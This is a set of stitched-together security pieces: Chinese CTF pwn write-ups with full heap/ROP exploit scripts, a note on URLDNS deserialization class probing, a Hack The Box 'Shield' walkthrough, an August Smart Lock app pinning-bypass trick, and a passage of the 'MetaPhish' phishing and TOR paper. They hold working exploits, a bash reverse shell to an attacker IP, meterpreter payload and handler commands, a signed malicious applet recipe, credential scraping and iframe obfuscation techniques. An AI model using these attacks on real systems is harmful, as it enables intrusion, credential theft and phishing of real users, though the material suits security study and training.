runscript = ''' b _setjmp ''' if DEBUG: gdb.attach(io,execute=runscript) init(iOverflow) view(1) ru('name:') leaked_rip = u64(rn(6).ljust(8, '\x00')) info("Leaked RIP = " + hex(leaked_rip)) expected_rip = leaked_rip - 0xAA0 + 0x1495 pie = expected_rip - 0x1495 poprdi = pie + 0x0000000000001523 poprsir15 = pie + 0x0000000000001521 malloc_got = pie + 0x202060 puts_plt = pie + 0x9A0 handle = pie + 0x1355 ru('addr:') rsp = u64(rn(8)) addr_hex = ru(',')[:-1] if len(addr_hex) != 8: log.warning("possible 0 byte in addr, re-run this.") exit(0) addr_hex = ror11_64(u64(addr_hex)) cookie = addr_hex ^ expected_rip log.info("__pointer_chk_guard_local = " + hex(cookie)) rsp = ror11_64(rsp) ^ cookie log.info("Leaked RSP = " + hex(rsp)) offset = 72 payload = p64(rol11_64(cookie ^ (rsp - offset))) + p64(rol11_64(cookie ^ poprdi)) assert '\n' not in payload edit(1, "", 0, payload, "") prefix = '5 AAAAAA' rop = '' rop += p64(malloc_got) rop += p64(puts_plt) rop += p64(handle) payload = prefix + rop assert '\n' not in payload menu() sl(payload) malloc_addr = u64(rn(6).ljust(0x8, "\x00")) log.info("malloc_addr = " + hex(malloc_addr)) libc = malloc_addr - 0x0000000000082660 system = libc + 0x46590 binsh = libc + 0x17c8c3 offset2 = 112 payload = p64(rol11_64(cookie ^ (rsp - offset2))) + p64(rol11_64(cookie ^ poprdi)) edit(1, "", 0, payload, "") prefix = "5 BBBBBB" rop = '' rop += p64(binsh) rop += p64(system) payload = prefix + rop assert '\n' not in payload menu() sl(payload) io.interactive() return if __name__ == '__main__': pwn() Note (Pwn 500) Edit 时可以指定偏移造成堆溢出。talloc 的堆头有 next, prev 指针,在 unlink 时没有检查,可 以造成任意地址读写。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * import os, sys # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 os.environ['LD_PRELOAD'] = './libtalloc.so.2.1.0' # modify this if LOCAL: io = process('./note') else: io = remote('58.213.63.30',4003) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def menu(): return ru('--->>') def add(title, size, content): menu() sl('1') ru(':') sl(title) ru(':') sl(str(size)) ru(':') sl(content) return def edit(index, offset, data): menu() sl('3') ru(':') sl(str(index)) ru(':') sl(str(offset)) ru(':') sl(data) return def delete(index): menu() sl('4') ru(':') sl(str(index)) return def changetitle(index, title): menu() sl('5') ru(':') sl(str(index)) ru(':') sl(title) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) # header size = 0x10 ptmalloc + 0x60 talloc for i in xrange(10): add('11111111', 0x70, '11111111') payload = '1' + p64(0) + p64(0xa1) + p64(0x6020C8) + p64(0x6020d8) payload = payload.ljust(47, '\x00') edit(8, 0x6f, payload) for i in xrange(1, 9): delete(i) delete(9) printf_got = 0x4007E0 changetitle(2, p64(0x602110)) changetitle(3, p64(11)) # avoid crashing changetitle(2, p64(0x602048)) changetitle(3, p64(printf_got)[:-1]) add('~%13$p~', 0x70, '11111111') delete(11) ru('~0x') libc_ret = int(ru('~')[:-1], 16) info("libc_ret = " + hex(libc_ret)) libc_ret_offset = 0x21f45 system_offset = 0x0000000000046590 libc = libc_ret - libc_ret_offset system = libc + system_offset changetitle(2, p64(0x602048)) changetitle(3, p64(system)[:-1]) add('/bin/sh;', 0x70, '11111111') delete(12) io.interactive() return if __name__ == '__main__': pwn() Goodluck (Pwn 500) 所有的根据 index 的操作都没有检查 index 是否合法,利用这个漏洞可以达到任意地址读写。 P.S. 出题人的本意应该是个 race condition? 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * import os, sys import time # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 # modify this if LOCAL: io = process('./goodluck') else: io = remote('58.213.63.30',11502) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def menu(): return ru('choice:') def add(t,name,a1,a2,a3=""): menu() sl('1') ru('flower') sl(str(t)) ru('name:') sn(name) if t == 0 or t == 3: ru('number:') sl(str(a1)) ru('again:') sn(a2) else: ru('want:') sl(str(a1)) ru('suitable:') sl(str(a2)) ru('something:') sn(a3) return def delete(index): menu() sl('2') ru('delete:') sl(str(index)) return def show(index, a1=1): menu() sl('4') ru('show\n') sl(str(index)) return def edit(index, data): menu() sl('3') ru('edit:') sl(str(index)) ru('something\n') sn(data) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) add(0, "123", 80, 80*'A') delete(4) time.sleep(1) show(0) ru('s1->') leak = u64(ru(' ')[:-1].ljust(8, '\x00')) info("Leaked PIE = " + hex(leak)) pie = leak - 0x1040 ru('ii1->') p1 = limu32(int(ru(' ')[:-1])) ru('ii2->') p2 = limu32(int(ru('\n')[:-1])) heap_leak = p1 + ((p2) << 32) info("heap_leak = " + hex(heap_leak)) heap_base = heap_leak - 0x2a0 payload = '' payload += p64(heap_base + 0x378) payload += p64(1) payload += p64(pie + 0x202FA0) # read payload += 'AABBCCDD' payload = payload.ljust(80, '\x00') add(0, "233", 80, payload) index = ((heap_base + 0x370) - (pie + 0x2031A0))/8 show(index) ru('s1->') atoi_addr = u64(rn(6).ljust(8, '\x00')) info("atoi_addr = " + hex(atoi_addr)) libc = atoi_addr - 0x39ea0 malloc_hook = libc + 0x3BE740 payload = '' payload += p64(heap_base + 0x448) payload += p64(1) payload += p64(malloc_hook) payload += 'AABBCCDD' payload = payload.ljust(80, '\x00') add(0, '666', 80, payload) index = ((heap_base + 0x440) - (pie + 0x2031A0))/8 onegadget = libc + 0x4647C edit(index, p64(onegadget)) menu() sl('1') ru('?') sl('0') io.interactive() return if __name__ == '__main__': pwn()
pdf
对URLDNS探测class的补充 问题 刚刚有个师傅私聊问到我这个问题,这⾥来谈⼀谈,当时⼤师傅的⽂章⾥确实也没提到这 ⼀点 遗忘的师傅可以回顾下:https://gv7.me/articles/2021/construct-java-detection-class-deserialization -gadget/ 这个问题就是:为什么明明没这个类我在本地⽣成的时候明明没有这个类为什么还会收到 DNS请求 解决 在问题之前我们简单说下调⽤流程,⽅便简单会议下 将url与检测类分别放⼊HashMap的key/value 触发反序列化后先是恢复HashMap的key再恢复value 之后调⽤putVal时触发key的hashcode⽅法导致DNS解析触发 如果我们探测的class为不存在的class那么就打断了这个过程的第⼆步,由于没有try/catch 做异常处理,利⽤此我们可以成功通过URLDNS探测class ⽽为什么没有这个类本地调试⽣成的时候会“触发”,其实这和javassist有关,先来个图进⾏直 观的解释 没错正如你所想,问题出⾃于 makeClass 当中的 toClass ,这个⽅法中的toClass其实就根 据我们输⼊参数的 className 构造了⼀个类并加载到了 jvm 当中 当然这样说太敷衍了,还是简单上⼀下代码,这⾥贴⼀些关键的 在 javassist.ClassPool#toClass(javassist.CtClass, java.lang.ClassLoader, java.security.ProtectionDomain) 可以看到这个 toClass2 其实就是反射调⽤⽅法,调⽤的是什么,其实就是这 个 defineClass1/2 public static Class makeClass(String clazzName) throws Exception{  ClassPool classPool = ClassPool.getDefault();  CtClass ctClass = classPool.makeClass(clazzName);  Class clazz = ctClass.toClass();  ctClass.defrost();  return clazz; }    public Class toClass(CtClass ct, ClassLoader loader, ProtectionDomain domain) throws CannotCompileException {        try {            byte[] b = ct.toBytecode();            Method method;            Object[] args;            if (domain == null) {                method = defineClass1;                args = new Object[]{ct.getName(), b, new Integer(0), new Integer(b.length)};           } else {                method = defineClass2;                args = new Object[]{ct.getName(), b, new Integer(0), new Integer(b.length), domain};           }            return (Class)toClass2(method, loader, args);       } catch (RuntimeException var7) {            throw var7;       } catch (InvocationTargetException var8) {            throw new CannotCompileException(var8.getTargetException()); ⽽这个变量在类的静态块做了初始化       } catch (Exception var9) {            throw new CannotCompileException(var9);       }   } //反射调⽤⽅法    private static synchronized Object toClass2(Method method, ClassLoader loader, Object[] args) throws Exception {        method.setAccessible(true);        Object var3;        try {            var3 = method.invoke(loader, args);       } finally {            method.setAccessible(false);       }        return var3;   }    static {        try {            AccessController.doPrivileged(new PrivilegedExceptionAction() {                public Object run() throws Exception {                    Class cl = Class.forName("java.lang.ClassLoader");                    ClassPool.defineClass1 = cl.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);                    ClassPool.defineClass2 = cl.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE, ProtectionDomain.class);                    ClassPool.definePackage = cl.getDeclaredMethod("definePackage", String.class, String.class, String.class, String.class, String.class, String.class, String.class, URL.class); 因此也不难理解为什么我瞎写⼀个类都不会抛出异常导致断链                    return null;               }           });       } catch (PrivilegedActionException var1) {            throw new RuntimeException("cannot initialize ClassPool", var1.getException());       }        doPruning = false;        releaseUnmodifiedClassFile = true;        defaultPool = null;   }
pdf
nmap -sC -sV 10.10.10.46 ​ ​ sudo zip2john backup.zip > hash sudo john -w /usr/share/wordlists/rockyou.txt hash //zip2johnziphashjohn //wordlistskalirockyou.txt hack the box——-Shield 0x00 ​ ​ ​ sudo john --format=Raw-MD5 --fork=4 -w=/usr/share/wordlists/rockyou.txt hashmd5 //md5Raw-MD5 ​ sudo sqlmap -r 46search.sql -p search 0x01 sudo sqlmap -r 46search.sql -p search --os-shell ​ //bashsqlmapoutputnoshellsqlmap bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1' nc -lvnp 4444 ​ SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm cat /var/www/html/dashboard.php ​ sudo -l 0x03 ​ ​ :!/bin/bash ​ ​ simon:$6$HmDDB89I3xFM2mJe$DNf5vRLvByV6U4VND/p2VfYYX8/s5apU3j3gk/2Y7A6Q8adNfDKHBFhw71i1gJ7kRUO7rqFX90h3sp4O6K1p20:1829 5:0:99999:7::: ​ 0x04
pdf
The follow steps can be used to bypass the certificate pinning used by the August Smart phone  app without needing to jailbreak the device.  Step 1: Open settings  Step 2: Press and hold the application version number.  Step 3: Enter "DreadfulDow" in the prompt. The prompt is case sensitive.  Step 4: Tap on https://api­production.august.com to change webservice the application will use.  Step 5: Tap other to specify a custom url.  Step 6: Enter url of server you control which can relay requests to August's server. (Both HTTP  and HTTPS can be used.)  Step 7: Monitor to, modify, and otherwise mess with traffic between the app and the August  services.
pdf
MetaPhish “PDF Infection, Web SpearPhishing, TOR abuse & communications” http://www.attackresearch.com _____________________________________ Val Smith ([email protected]) David Kerb ([email protected]) Colin Ames ([email protected]) Page 1 of 26 Last modified: 06/27/2009 Contents 1 Introduction  1.1 Abstract …………………………………………………………………………..……………2 1.2 Background ………………………………………………………………….……………….. 2 2 Spear­Phishing 2.1 Spear Phishing Concepts ………………………………………………..……………………. 3 2.2 Web kits, File Formats & Problems with Available Attack Code………..……………………3 3 Defining the Needs 3.1 Work Flow …………………………………..………………..………………………………4 4 Targeting 4.1 Targeting Basics ……………………..……………………..…………………………………5 4.2 File Targeting …………………….. ……………………….…………………………………5 4.3 Why PDF's …………………….. ………………………….…………………………………6 5 Web Spear Phishing 5.1 Work Flow………………………………………………….…………………………….…..7 5.2 SE and Malicious Java Applets…………………….……….………………………………...8 5.3 Automation ……………………..………………………….……………………………….. 10 6 Obfuscation 6.1 Simple Obfuscation Techniques ……………………..…….………………………………..12 7 TOR 7.1 Using TOR as a Weapon ……………………..…………..…………………………………13 7.2 Controlling the Exit Location 7.3 Making Any Service go Through TOR ………………..…….. ……………………………14 7.4 Running Nikto and Other Web Scanners Over TOR…..……………………………………17 7.5 Using VPN over TOR ……………………..…………..……………………………………18 7.6 Metasploit and TOR……………………..…………..………………………………………18 7.7 Making an Anonymous Reverse Shell Server……..………………..………………………18 References……………………..……………………………………………………..…… 20 Acknolwedgements ……………………..……………..……………………………   20 Appendix………………………….…………………..……………..……………..………21 Page 2 of 26 1 Chapter 1 Introduction 1.1 Abstract Attackers have been increasingly using the web and client side attacks in order to steal  information from victims. The remote exploit paradigm is shifting from the open port to  the browser and email client. Penetration testers need to take these techniques into  account in order to provide realistic tests. In the past several years there have been numerous presentations on techniques for  specific client side attacks and vulnerabilities. This talk will focus on building a phishing  framework on top of Metasploit that pen testers can use to automate phishing and  increase their overall capabilities. We will also cover some techniques for SpearPhishing  on pen tests, second stage backdoors, and extensive communication over TOR. 1.2  Background The authors of this paper have been involved in security auditing and penetration testing  for the last ten years. A common ongoing trend in the penetration testing industry is to  perform automated scans for lists of commonly known vulnerabilities, verify the  existence of these problems with tools such as Core Impact, Canvas and Metasploit, and  then generate a report documenting the results. While this process is as an often necessary aspect of penetration testing, there is a  growing belief amongst people in the field that tests should reflect the actual threats  coming from the attackers rather than canned checklists developed over a number of  years. The techniques which attackers use to successfully penetrate systems change  rapidly while the tests auditors use stay relatively static with the potential exception of a  popular exploit or recent 0day. Spear fishing, file formats and anonymity are the areas that attackers have been most  recently focused in. Many high profile attacks using these techniques have been  mentioned in the press and technical literature; however penetration testers and those  clients that hire them have been slow to embrace many of these techniques. This paper  will focus on concepts that testers may be able to implement and build upon in order to  provide a test which more accurately reflects the current risks being seen today in the  wild. Page 3 of 26 Chapter 2 Spear­Phishing 2.1 Spear Phishing Concepts Spear Phishing is a technique by which the attacker generates an email or website that is  tailored to a specific target. The goal is to convince the target to take action which gives  the attacker access to their system by presenting them with text, images, URLs, etc. that  they might plausibly expect. In the past attacks have been carried out by scanning a target for remotely accessible  ports and services, finding traditional vulnerabilities such as buffer and heap overflows,  and sending an exploit remotely over the network to gain access. With the advent of  firewalls, intrusion detection, access controls, filtering and host based technologies; these  types of attacks are becoming less resilient and much more rare. In response to this,  attackers have had to shift their focus to more social engineering and client side  techniques. This is the way adversaries are gaining access now, today. Defense has  remained focused on the “maginot” line or defense in depth paradigms while the  attackers are exploiting the users access to their own machines. Much of what is being seen are “blended attacks”. These are attacks which combine web  sites and applications with file format exploits, malware such as backdoors, rootkits,  keyloggers and social engineering in order to present a powerful threat to users and  organizations. A penetration tester may ask themselves: “How often do we pen test in this way? Do  clients allow us to use these techniques against their networks and systems. If the answer  is no, or rarely then a major vector of realistic threat is being missed and not tested. This  exposes victims to attacks they may not even be aware exist. 2.2 Web Kits, File Formats and the Problems with Available Attack Code Web kits such as mpack, tornado, adpack, luckysploit, zunker and many others are wide  spread in use by attacks on the internet. These kits contain web application code for  enumerating clients, delivering exploits, logging relevant information and deploying  malware which further communicates with these web based infrastructures. In combination with web kits, more and more attackers are employing file format exploits  such as excel, powerpoint, pdf and others in order to present victims with a file that may  exploit their vulnerable productivity software. Page 4 of 26 All of these tools and techniques can be a valuable resource to the pen tester who is  trying to implement realistic threats in their attacks. However these kits and exploits are  uncontrolled. Many of them may contain backdoors, buggy code, or other problems. No  tester wants to introduce unstable and untested code into their client environments. The  solution to this problem is for qualified analysts to reverse engineer what real attackers  are doing and re­implement the concepts in a stable, reliable manner that can be  reproduced and used with confidence by other testers. Chapter 3 Defining the Needs 3.1 Work Flow There is a rough standard work flow to implementing spear phishing and file format  attacks. First the attacker researches the type of targets they are going after, whether it is  a particular organization, or simply all the users at large of a high traffic website. Next the attacker builds a “legend” or social engineering story for the attack. This  depends greatly on the victim, their expectations and the results of the reconnaissance  phase. Once an adequate legend has been constructed, the attacker locates plausible  documents, URLs, etc. from the target to go after. Following that the attacker infects the files, be them PDF’s or other formats, builds a  malicious website or whatever is appropriate for the particular attack and then presents  the attack to the victims in the form of a targeted email, crosstie scripting attack, etc. At the same time these types of attacks require a semi­elaborate infrastructure on the  server side to ensure success. This includes a system for delivering exploits such as a web  server, a mechanism for receiving incoming access from the victims while taking into  account potential firewalls, proxies, HIDS/HFW and authorized egress ports. When  dealing with the 100’s or 1000’s of victims attackers hope to penetrate, it is unrealistic to  manually manage each victim and so techniques for automating post exploitation actions  such as: • Gathering passwords • Installing 2nd stage backdoors / persistence • Enumerating system information • Grabbing authentication tokens • Log Manipulation and other Post exploitation activities This infrastructure can rapidly grow to become highly complex and needs a moduler,  controllable and well organized framework.  Page 5 of 26 3.2 Why a Framework Currently most client side tools are manual or stand alone and don’t fit in with a greater  system of attack management. There are some tools like Core Impact which implement  some of these techniques but they can be prohibitively expensive and often the testers  don’t have a deep understanding of how the underlying system works. These tools also  don’t take into account targeting or any tactical sorts of concepts and are simply a way to  deploy a singular browser exploit to a victim. A framework that employs modules or functions to implement all of the aspects of these  attacks listed in the previous section can greatly help the pen tester in reliability,  automation and control. Chapter 4 Targeting 4.1 Targeting Basics The goal during targeting for these types of attacks is to understand as much as possible  about the targets infrastructure, hardware & software, habits, threshold for anomalies, and  the layout and trusts of their various networks. Sometimes an IP address or range may be  available but the target could have more ranges that are not known about, but exposing  valuable data or vulnerability. There are techniques for finding these networks, but one  that receives less attention is that of google hacking for leaked proxy log analysis results. There are many tools available for the anlaysis of proxy logs such as the MySQL Squid  Access Report and SARC. These tools will parse outgoing proxy logs and generate web  based reports which are often available on the internet if an attacker knows which URL’s  to search for. These logs can contain tons of valuable targeting information such as: • Internal IP Addresses & Hostnames • Client applications in use • Software Update Frequencies and Schedules • What Anti­Virus software is being used • Any software that communicates over the internet could leave a trail 4.2 File Targeting Computer viruses have been using file formats for ages to sneak undetected through  computers and networks to launch attacks that compromise data and access. The reason  Page 6 of 26 for this is simple. Files are the building blocks of the information we use as well as the  way we use it.  Files and specifically file formats used as documents provide some unique things for a  client side attack, intel, opportunity, and exploits.  Intel The contents of documents contain data. Data which can be in a myriad of forms; words,  pictures, videos, or even more data. This data can contain valuable information like  passwords, names, and other specifics which can be leveraged in a client side attack.  Opportunity Client side attacks rely on specific opportunities which enable an attacker to compromise  a target. Documents provide the delivery mechanism, and the bait.    Exploits There are a variety of things that can be exploited in documents. This includes social  engineering such as exploiting the information in the document itself as it is presented to  the viewer as well as more traditional exploits in documents and document viewers  themselves. File format viewers such as acroread, xpdf, foxit have vulnerabilities which  are being discovered and exploited at a rapid rate, usually in the file format parsing  routines. There is also the concept of file format infection vs. exploitation. Infection  refers to the process of embedding malicious functionality in the document itself rather  than exploiting a programming error in the PDF viewer. Office and productivity files can provide a valuable resource for targeting. If an attacker  can take a file which the victim is likely to open, such as a corporate news letter, then the  chances of successful penetration are greatly improved. An attacker can search the web, specifying search parameters that focus on the target  looking for available document files. Newsletters, conference announcements or slides,  weather notifications, advertisements and other such files can be taken advantage of and  modified to be malicious, then resent to the victims.  If the target partners or has a relationship with another organization then files from the 2nd  party can be used and sent to the first, or vice versa. The goal is to get a victim to open  the document and exploit the reader. The acquisition of targets can be easily scripted for  automation. People believe that documents such as PDF’s are safe formats for them to open and  people also trust documents coming from their own organizations. With thorough recon,  Page 7 of 26 an attack can easily pick topics that are likely to interest the target or that are widely  circulated to a large audience.  4.3 Why PDF’s? First one may ask the question, what do clients have a lot of? The answer would be data  in the form of documents, which have diverse file formats. What do we gain from this?  That file formats provide a large attack surface as well as target intelligence, and a  potential delivery mechanism.  PDF’s are an advantageous document file format to select because they contain a  significant amount of potential functionality. PDF’s can contain JavaScript, enable code  execution, contain other nested PDF’s, dynamic content is possible and exploits in the  readers abound. There are 283,000,000 PDF’s available on the internet according to  Google. PDF’s can be easily infected by doing what is called an incremental update. This can be a  very tedious process to do by hand because of the large amount of data needed to be  parsed in the PDF file format. The authors have reverse engineered the PDF file format  and created tools which can do the parsing and infection in an automated way. The tool is called adobe_basic_social_engineering.rb *Appendix A and is a metasploit  module written in ruby. The basic usage is to select a PDF to infect, pass the file to the  module which will then parse the PDF and perform an incremental update with whatever  malicious payload is available. The difference between this tool and other PDF exploit  generation tools is that this allows the attacker to infect existing targeted PDF’s while  most other tools simply generate a blank, and not very standard malicious PDF which can  raise suspicion from the victim. Chapter 5 Web Spear Phishing 5.1 Work Flow The infrastructure of a web based spear phishing has several requirements. First needed is  the ability to direct targets to the malicious site. Often this can be accomplished by  implementing IFRAMES to hide the site inside another trusted site, by cross site scripting  or other means. Next the ability to enumerate information about the target using a web  application is useful. A mechanism for socially engineering the target into believing that  everything they are seeing is expected and acceptable should be considered. Next a  method for executing code on the target via social engineering, malicious java applet,  Page 8 of 26 exploits or other means is implemented. The attacker needs the ability to handle incoming  shells from the target, even in large numbers and automate the post exploitation activities. The authors have broken down this problem into several modular compontents: • Target Sieve – A framework for enumerating the target and passing them off to  the appropriate exploit • Includes: o Operating system detection o IP detection o Browser detection (firefox, IE, opera, safari, etc) o A decision making capability based on the results of enumeration o De­cloaking for gathering internal or natted network information o Cryptographically signed Java applications using “fake” certificates to  trick the user o Obfuscation for IDS/HIDS evasion This paper will provide code examples of how one could begin to implement these  components into a framework. Several functions have been developed to perform each of  these actions (full code available in the appendix): genHeader() ­ Generate header, noscript to test JS ipCheck() ­ Get target IP and compare to scope javaCheck() ­ Verify java is enabled osDetect() ­ Determine the operating system type browserDetect() ­ Determine the browser in use jsDecloakIP() ­ Get natted / internal IP using javascript japdip() ­ Get natted / internal IP using javapplet Logger() ­ Log captured info to a file Page 9 of 26 5.2 SE and Malicious Java Applets The authors have developed a simple proof of concept java applet for downloading and  executing meterpreter. The client views a page which attempts to load the java applet in  the victim’s browser. The victim is presented with a window asking if they would like to  run the applet. If the client hits run then the applet is loaded and causes the client to  download a stand alone meterpreter executable from a specified website and execute it.  The meterpreter then sends a reverse shell over the specified port to the attackers waiting  server. The code to the applet is available in the appendix. To make the java applet concept much more deadly one can cryptographically sign the  applet. You can sign it with whatever information you want (self signing). Many large  environments are full of expired or self signed certificates so users are used to looking at  the message and seeing its from someone they trust and then accepting it.  An astute attacker can set file names of applets and web code to reflect things common to  the targets infrastructure, or even penetrate the targets web server and places these tools  on the real trusted server itself. Here are the steps for cryptographically signing a malicious java applet: • Compile the applet:  – javac MetaPhish.java Page 10 of 26 Example Page Normally you wouldn’t  display output Shows all the target  acquired data • Generate a class file:  – jar ­cf MetaPhish.jar MetaPhish.class • Build a ketystore and set the passwords / organization name:  – keytool ­genkey ­alias signFiles ­keystore msfkeystore ­storepass  msfstorepass ­dname "cn=The Targets Org" ­keypass msfkeypass • Sign the files and create a “secured” jar:  – jarsigner ­keystore msfkeystore ­storepass msfstorepass ­keypass  msfkeypass ­signedjar sMetaPhish.jar MetaPhish.jar signFiles • Create the certificate:  – keytool ­export ­keystore msfkeystore ­storepass msfstorepass ­alias  signFiles ­file MetaPhishLLC.cer • Import the certificate:  – keytool ­import ­alias company ­file MetaPhishLLC.cer ­keystore  msfkeystore ­storepass msfstorepass • Once completing the above steps you will have a collection of files: – MetaPhish.class  * Compiled Java  – MetaPhish.jar  * Compressed class – MetaPhish.java * Source code – MetaPhishLLC.cer * Certificate – msfkeystore * Key store – sMetaPhish.jar * Signed Jar – windex.html * malicious web page Once the code is signed it can be placed on a web page like this: <html> <body> <APPLET code="MetaPhish.class" archive="sMetaPhish.jar" width="1"  height="1"></APPLET> </body> </html Page 11 of 26 5.3 Automation Some of the requirements for back end automation infrastructure is that it should be able  to handle n incoming sessions, automate post exploitation activities like dumping  passwords, adding users, grabbing information from the registry and that it can be  configured to use egress ports allowed by the firewall. In order to fulfill these requirements we create a stand alone meterpreter binary for our  target (windows operating systems). We configure this binary to use a reverse connection  because we assume that there will be a firewall. We then hardcore the IP to call home.  (This is a vulnerability if we care about forensics / analysis). The call home IP should be  accessible by the target. Then we configure it to know which ports to use both on the  victim side and on the attackers side to receive the incoming sessions. Finally we provide  an output name for the executable. It is recommended to use an innocuous name such as  mmc.exe rather than meterpreter.exe. ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.34 LPORT=8000  R | ./msfencode ­b '' ­t exe ­o meterpreter.exe Next the attacker sets up a metasploit instance in a multi­handler mode so that it can  accept multiple incoming sessions: • ./msfconsole • Set MSF parameters to match the meterp – msf > use exploit/multi/handler – msf exploit(handler) > set ExitOnSession false Page 12 of 26  Victim receives message  box  Digital Signature will  appear to have the  “trusted” information  Many users will run this  Basically Social  Engineering / Targeted  Phishing – msf exploit(handler) > set PAYLOAD  windows/meterpreter/reverse_tcp • msf exploit(handler) > set LHOST 192.168.0.34 • msf exploit(handler) > set LPORT 8000 Then setup an automation script and set MSF in multihandling mode so it doesn’t exit  when quitting a session: – msf exploit(handler) > set AutoRunScript ./PhishScrape.rb – msf exploit(handler) > exploit –j An attacker can use any script for post­exploitation automation, there is an example  provided in the appendix. Once the stand alone metrepreter binary is created the attacker can it to the target using  whatever means including infected PDF files, malicious websites, client side exploits, a  malicious java applet like the example given earlier. A document or the meterpreter itself  can me mailed as an attachment directly to targets, or placed on a website for download  by victims for example. The attacker then watches for: [*] Transmitting intermediate stager for over­sized stage...(191 bytes) This indicates successful compromise of a target.. Many target sessions may come in at  once depending how the exploit is deployed. To list available sessions sessions do: • sessions –l • Then standard meterpreter commands can be used After a metrepreter is deployed a post exploitation automation script is run on each target.  Depending on how much and how complex the script is this may take some time. The  example script will gather information from the target automatically and place it in  ~/.msf3/logs/scraper and each target will generate a sub directory named  ipaddress_data_timestamp. The following information will be autoscraped: – env.txt # System environment – group.txt # Domain group info – hashes.txt # Crackable password hashes – localgroup.txt # local group memberships – nethood.txt # network neighborhood info Page 13 of 26 – network.txt # detail networking info of target – services.txt # running services (look for AV) – shares.txt # Any shared directories – system.txt # operating system info – users.txt # local user account names A resource for other automation scripts is DarkOperator’s script archive at  http://www.darkoperator.com/ . Chapter 6 Obfuscation 6.1 Simple Code Obfuscation Methods The tester may want to consider employing code obfuscation in order to attempt to evade  any network or host intrusion detection systems. This paper will not provide a  comprehensive discussion of all known methods but will present a few of the simpler  ones to assist the tester. IFRAME Obfuscation Many attacks utilize HTML IFRAMES to deploy exploits while also displaying expected  content to the user. Ex.: <IFRAME WIDTH=1 HEIGHT=1 SRC=http://evil.com/exploit></IFRAME> Some systems may detect and block or otherwise prevent these IFRAMEs. Attackers in  the while are employing simple methods such as breaking up the IFRAME and using  javascript to reassemble it in order to bypass simple parsers that look for the string  “IFRAME”. Ex.: var x = "rame";  var y = "i" + "f";  var el = document.createElement(y + x);  el.setAttribute("width", 1);  el.setAttribute("height", 1);  el.setAttribute("s" + "rc", p);  el.setAttribute("marg" + "inwidth", 0);  el.setAttribute("marg" + "inheight", 0);  el.setAttribute("scr" + "olling", "no");  el.setAttribute("f" + "rameborder", "0");  Character Encoding Page 14 of 26 Another method used by attackers to obfuscate their code which may be employed by  testers is the idea od character encoding. Essentially the attacker converts their URLs,  commands, or anything they want hidden from someone who might view the source of  the page, or automated tools that parse for potentially malicious strings to the numerical  values for each character. Then the attacker writes a small function that converts those  values back to strings for the browser. Ex.: var p = (String.fromCharCode.apply(window, [104, 116, 116, 112, 58, 47,  47,101,118,105,108,46,99,111,109,])  Escape Codes Escape codes are another encoding method used by attackers to obfuscate their code an  evade potential detection. This process converts string characters to “%” symbol escaped  two­character 8­bit hexadecimal values. Ex.: <script language=”javascript”> Document write( unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E %67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%3C %69%66%72%61%6D%65%20%77%69%64%74%68%3D %31%20%68%65%69%67%68%74%3D%31%20%73%72%63%3D%68%74%74%70%3A%2F %2F%65%76%69%6C%2E%63%6F%6D%3E%3C%2F%69%66%72%61%6D%65%3E%0A %3C%2F%73%63%72%69%70%74%3E%0A ‘) ); </script> Which decodes to : <iframe width=1 height=1 src=http://evil.com></iframe> A similar technique is to use a more customized encoding routine or Unicode. More  indepth examples can be found here: http://scriptasylum.com/tutorials/encdec/encode­ decode.html. Many variations to this theme can be made, however in general any simple  encoding is enough to confound most automated processes or unknowledgeable users. Chapter 7  TOR 7.1 Using TOR as a Weapon Most people who use TOR commonly use it to browse the web anonymously and believe  this is the main purpose for the tool. The TOR developers however designed the software  to be able to handle any type of traffic that uses TCP. This section of the paper combines  the documented features of TOR, information from all over the Internet, weeks of testing  and tweaking, and custom code and puts them all together to show how TOR can be a  valuable part of the pen tester’s toolkit. Page 15 of 26 There are many reasons why it is important for a pen tester or a person who is working  with defense to understand TOR. Clients may block all traffic coming from the pen  tester’s IP, often to make their network appear more than it is. One solution available for  the pen tester is to get a hotel room, or go to a coffee shop and utilize publicly available  wifi in order to mask their source IP, but TOR is a possible alternative. It allows the pen  tester to appear as if their IP is coming out of a different city, or even country. This also  allows the pen tester to view different webpages that are set up only to display to  particular areas, and check the traffic filtering rules. From a defensive view point, it is  important to understand that this is possible, and something to check before assuming a  block will prevent someone from attacking your institution, or that you can be certain  where attacks are coming from.  7.2 Controlling the Exit Location The first step in making TOR more useful for a pen tester is to control the exit nodes. To  do this there are a couple of edits that need to be preformed to the torrc file. The  ExitNodes and StrictExitNodes parameters need to be set to useful values. The ExitNodes  parameter is a comma separated list of nodes, where a node can be defined by its  fingerprint or name. The StrictExitNodes parameter should be set to 1, telling TOR to  only use the exit nodes defined above.  The first big hurtle is finding the exit node that is desired for use. There are many ways to  do this. The first is to simply use the Vidalia map tool. Click on each node, read where it  is, and use the name from the map if it matches the desired location. Be aware that names  are not guaranteed unique, so make sure that there are no 